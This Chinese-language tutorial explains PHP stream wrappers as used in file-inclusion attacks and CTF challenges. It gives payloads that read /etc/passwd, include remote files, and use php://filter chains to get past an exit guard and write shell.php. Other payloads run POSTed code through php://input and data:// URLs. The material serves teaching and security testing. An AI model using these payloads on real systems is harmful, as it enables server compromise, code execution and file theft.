1. 程式人生 > 實用技巧 >php檔案包含中的偽協議

php檔案包含中的偽協議

php中常見的偽協議

php帶有很多內建URL風格的封裝協議,這類協議與fopen()、copy()、file_exists()、filesize()等檔案系統函式所提供的功能類似。

file:// — 訪問本地檔案系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 資料(RFC 2397)
glob:// — 查詢匹配的檔案路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音訊流
expect:// — 處理互動式的流

php.ini

  • php.ini中依賴的條件
allow_url_fopen:off/on
allow_url_include :off/on

在php.ini裡有兩個重要的引數allow_url_fopenallow_url_include

allow_url_fopen:預設值是ON,允許url裡的封裝協議訪問檔案。允許將URL(如http://或ftp://)作為檔案處理。

allow_url_include:預設值是OFF,不允許包含url裡的封裝協議包含檔案。是否允許include/require開啟URL(如http://或ftp://)作為檔案處理。

file://協議

  • 作用

用於訪問本地檔案系統,通常用來讀取本地檔案

的且不受allow_url_fopenallow_url_include的影響。
include()/require()/include_once()/require_once()引數可控的情況下,如匯入為非.php檔案,則仍按照php語法進行解析,這是include()函式所決定的。

  • 說明

file:// 檔案系統是 PHP 使用的預設封裝協議,展現了本地檔案系統。當指定了一個相對路徑(不以/、、\或 Windows 碟符開頭的路徑)提供的路徑將基於當前的工作目錄。在很多情況下是指令碼所在的目錄,除非被修改了。使用 CLI 的時候,目錄預設是指令碼被呼叫時所在的目錄。在某些函式裡,例如 fopen()

file_get_contents()include_path 會可選地搜尋,也作為相對的路徑。

  • 用法

直接讀檔案

http://127.0.0.1/include.php?file=./phpinfo.txt

file://[檔案的絕對路徑和檔名]

http://127.0.0.1?file=file:///etc/passswd

注:

file://偽協議在雙OFF的時候也可以用,用於本地檔案包含

file://協議必須是絕對路徑

http://協議&https://協議

說明:

一般用於遠端檔案包含

條件:

allow_url_fopen:on
allow_url_include :on

用法:

示例:

http://127.0.0.1/index.php?file=http://192.168.100.1/phpinfo.txt

php://協議

php://filter

說明:

php://filter是一種元封裝器,用於資料流開啟時篩選過濾應用。這對於一體式(all-in-one)的檔案函式非常有用。類似readfile()、file()、file_get_contents(),在資料流讀取之前沒有機會使用其他過濾器。

條件:

需要開啟allow_url_include

引數:

名稱 描述
resource=<要過濾的資料流> 這個引數是必須的。它指定了你要篩選過濾的資料流。
read=<讀鏈的篩選列表> 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔
write=<寫鏈的篩選列表> 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔
<;兩個鏈的篩選列表> 任何沒有以 read=write= 作字首 的篩選器列表會視情況應用於讀或寫鏈。

可用的過濾器列表

字串過濾器 作用
string.rot13 等同於str_rot13(),rot13變換
string.toupper 等同於str_toupper(),轉大寫
string.tolower 等同於str_tolower(),轉小寫
string.strip_tags 等同於strip_tags(),去處html、php標籤
轉換過濾器 作用
convert.base64-encode&convert.base64-decode 等同於base64_encode()base64_decode(),base64編碼解碼
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字串與 8-bit 字串編碼解碼
壓縮過濾器 作用
zlib.deflate & zlib.inflate 在本地檔案系統中建立 gzip 相容檔案的方法,但不產生命令列工具如 gzip的頭和尾資訊。只是壓縮和解壓資料流中的有效載荷部分。
bzip2.compress & bzip2.decompress 同上,在本地檔案系統中建立 bz2 相容檔案的方法。
加密過濾器 作用
mcrypt.* libmcrypt 對稱加密演算法
mdecrypt.* libmcrypt 對稱解密演算法

用法:

直接讀檔案:

php://filter/resource=flag.php

讀出的檔案以base64的方式輸出:

 php://filter/read=convert.base64-encode/resource=upload.php

這是使用的過濾器是convert.base64-encode.它的作用就是讀取upload.php的內容進行base64編碼後輸出。可以用於讀取程式原始碼經過base64編碼後的資料

讀出的檔案以全為大寫字母的方式輸出:

php://filter/read=string.toupper/resource=flag.php

注:filter和string過濾器連用可以對字串進行過濾。filter的read和write引數有不同的應用場景。read用於include()和file_get_contents(),write用於file_put_contents()中。

file_get_contents() :把整個檔案讀入一個字串中。

file_put_contents() 把一個字串寫入檔案中。

一些繞過方式\題目1:

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

方法1:

txt=aPD9waHAgcGhwaW5mbygpOw==&filename=php://filter/write=convert.base64-decode/resource=shell.php

base64編碼中只包含64個可列印字元,而PHP在解碼base64時,遇到不在其中的字元時,將會跳過這些字元,僅將合法字元組成一個新的字串進行解碼。

在解碼的過程中,字元<、?、;、>、空格等一共有7個字元不符合base64編碼的字元範圍將被忽略,所以最終被解碼的字元僅有“phpexit”和我們傳入的其他字元。

“phpexit”一共7個字元,因為base64演算法解碼時是4個byte一組,所以給他增加1個“a”一共8個字元。這樣,"phpexita"被正常解碼,而後面我們傳入的webshell的base64內容也被正常解碼。結果就是<?php exit; ?>沒有了。

在終端中測試:

➜  ~ echo "phpexitPD9waHAgcGhwaW5mbygpOw==" | base64 -d
Invalid character in input stream.
➜  ~ echo "phpexitaPD9waHAgcGhwaW5mbygpOw==" | base64 -d
�^�+Z<?php phpinfo();%

方法2:

txt=PD9waHAgcGhwaW5mbygpOw==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

strip_tags() :剝去字串中的 HTML 標籤

phpstrom開啟斷點除錯 檢視程式執行順序
1.$content:'';
2.引數傳入file_put_contents($_POST['filename'], $content);
$content:"PD9waHAgcGhwaW5mbygpOw==";
3.執行string.strip_tags,base64解密,寫入檔案

可以看到當string.strip_tags執行時,$content的值為"PD9waHAgcGhwaW5mbygpOw==",剝離HTML標籤這個東西被剔除,就是解碼是放在剔除之後才執行的。所以當執行完成後,shell.php中的內容為<?php phpinfo();

方法3:

txt=<?cuc cucvasb();&filename=php://filter/write=string.rot13/resource=shell.php

如果使用rot-13,則該方法僅限於當short_open_tag不開啟的時候;

執行後的shell.php的檔案內容為<?php phpinfo();

php://input

說明:

php://input可以訪問請求的原始資料的只讀流,將post請求的資料當作php程式碼執行。當傳入的引數作為檔名開啟時,可以將引數設為php://input,同時post想設定的檔案內容,php執行時會將post內容當作檔案內容。

主要用於命令執行,可以進行檔案寫入。

用法:

程式碼如下:

<?php @include($_GET[“file”]); ?>

命令執行:

get:http://127.0.0.1/index.php?file=php://input
post:<?php phpinfo(); ?>

檔案寫入:

get:http://127.0.0.1/index.php?file=php://input
post:<?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>')?>

enctype="multipart/form-data" 的時候 php://input 是無效的

data://協議

說明:

自PHP>=5.2.0起,可以使用data://資料流封裝器,以傳遞相應格式的資料。通常可以用來執行PHP程式碼。一般需要用到base64編碼傳輸

條件:

allow_url_fopen:on
allow_url_include :on
php>5.2

示例:

以base64的形式寫入

http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

以html的形式寫入

http://127.0.0.1/index.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/index.php?file=data://text/plain,%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b

phar://協議

說明:

這個引數是就是 PHP 解壓縮包的⼀個函式,不管字尾是什麼,都會當做壓縮包來解壓。並且相對路徑和絕對路徑都可以使⽤。

條件:

PHP >= 5.3

用法:

phar://test.[zip/jpg/png…]/file.txt

示例:

可以使用相對路徑,可以使用絕對路徑

http://127.0.0.1/index.php?file=phar://flag.zip/flag.txt
http://127.0.0.1/index.php?file=phar:///Users/XXX/Documents/Language/php/flag.zip/flag.txt

其實可以將任意字尾名的檔案(必須要有後綴名),只要是zip格式壓縮的,都可以進行解壓。

zip://協議

說明:

和phar://一樣用於讀取壓縮檔案,但是⽤法不⼀樣,在雙OFF的時候也可以用。不過對於"zip://test.zip#file.txt"中的"#"要編碼為"%23".因為url的#後的內容不會被傳送。

條件:

PHP >= 5.2

用法:

?file=zip://[壓縮⽂件絕對路徑]#[壓縮⽂件內的⼦⽂件名] 

注:

  1. 需要指定 絕對路徑

  2. “#” 要注意 URL 編碼

示例:

http://127.0.0.1/index.php?file=zip:///Users/XXX/Documents/Language/php/flag.zip#flag.txt

http://127.0.0.1/index.php?file=zip:///Users/XXX/Documents/Language/php/flag.zip%23flag.txt

各協議使用條件

從網上看到了張圖片,寫的還挺全的,在此貼一下

參考

https://www.leavesongs.com/PENETRATION/php-filter-magic.html